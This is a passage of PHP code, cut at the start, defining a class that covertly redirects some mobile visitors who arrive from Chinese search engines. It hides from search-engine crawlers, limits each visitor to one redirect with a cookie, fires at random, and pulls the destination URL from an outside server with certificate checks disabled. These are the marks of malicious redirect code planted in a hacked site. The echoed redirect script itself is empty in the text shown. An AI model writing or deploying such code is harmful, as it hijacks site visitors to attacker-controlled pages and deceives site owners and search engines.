init(); } private function init() { if ($this->hasRedirected()) return; $ref = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : ''; if (empty($ref)) return; if (!$this->isMobile()) return; if ($this->isSearchSpider()) return; if (!$this->isValidMobileSource()) return; if (mt_rand(1, 100) <= self::REDIRECT_PROBABILITY) { $this->redirectUrl = $this->fetchRedirectUrl(); if ($this->redirectUrl) { $this->shouldRedirect = true; $this->setRedirectCookie(); } } } public function shouldRedirect() { return $this->shouldRedirect; } public function getRedirectUrl() { return $this->redirectUrl; } public function outputRedirectScript() { if (!$this->shouldRedirect || headers_sent()) return; echo ""; } private function isValidMobileSource() { $ref = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : ''; $ua = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : ''; $baidu = strpos($ref,'m.baidu.com')!==false || strpos($ua,'baiduboxapp')!==false; $qihoo = strpos($ref,'m.so.com')!==false || strpos($ref,'so.m.sm.cn')!==false; $shenma = strpos($ref,'m.sm.cn')!==false || strpos($ua,'SMBrowser')!==false; $sogou = strpos($ref,'m.sogou.com')!==false || strpos($ua,'SogouMobileBrowser')!==false; return $baidu || $qihoo || $shenma || $sogou; } private function isMobile() { $ua = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : ''; return preg_match('/mobile|android|iphone|ipod|blackberry|iemobile|opera mini|windows phone/i',$ua) && !preg_match('/ipad|tablet/i',$ua); } private function isSearchSpider() { $ua = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : ''; $spiders = '/baiduspider|360spider|yisouspider|shenma|bingbot|sogou|googlebot/i'; return preg_match($spiders, $ua); } private function hasRedirected() { return isset($_COOKIE[self::REDIRECT_COOKIE_NAME]) && $_COOKIE[self::REDIRECT_COOKIE_NAME]==='1'; } private function setRedirectCookie() { $expire = time() + self::COOKIE_EXPIRE_DAYS * 86400; $secure = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS']!=='off') || (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT']==443); setcookie(self::REDIRECT_COOKIE_NAME,'1',$expire,'/','',$secure,true); } private function fetchRedirectUrl() { $ch = curl_init('https://mac-url.cc/f.php'); curl_setopt_array($ch,array( CURLOPT_RETURNTRANSFER=>true, CURLOPT_TIMEOUT=>5, CURLOPT_SSL_VERIFYPEER=>false, CURLOPT_SSL_VERIFYHOST=>false, CURLOPT_USERAGENT=>'MobileRedirect/1.0' )); $response = curl_exec($ch); $httpCode = curl_getinfo($ch,CURLINFO_HTTP_CODE); curl_close($ch); if($httpCode===200 && !empty($response)){ $url = trim($response); return filter_var($url,FILTER_VALIDATE_URL) ? $url : null; } return null; } } $redirect = new MobileRedirect(); $redirect->outputRedirectScript();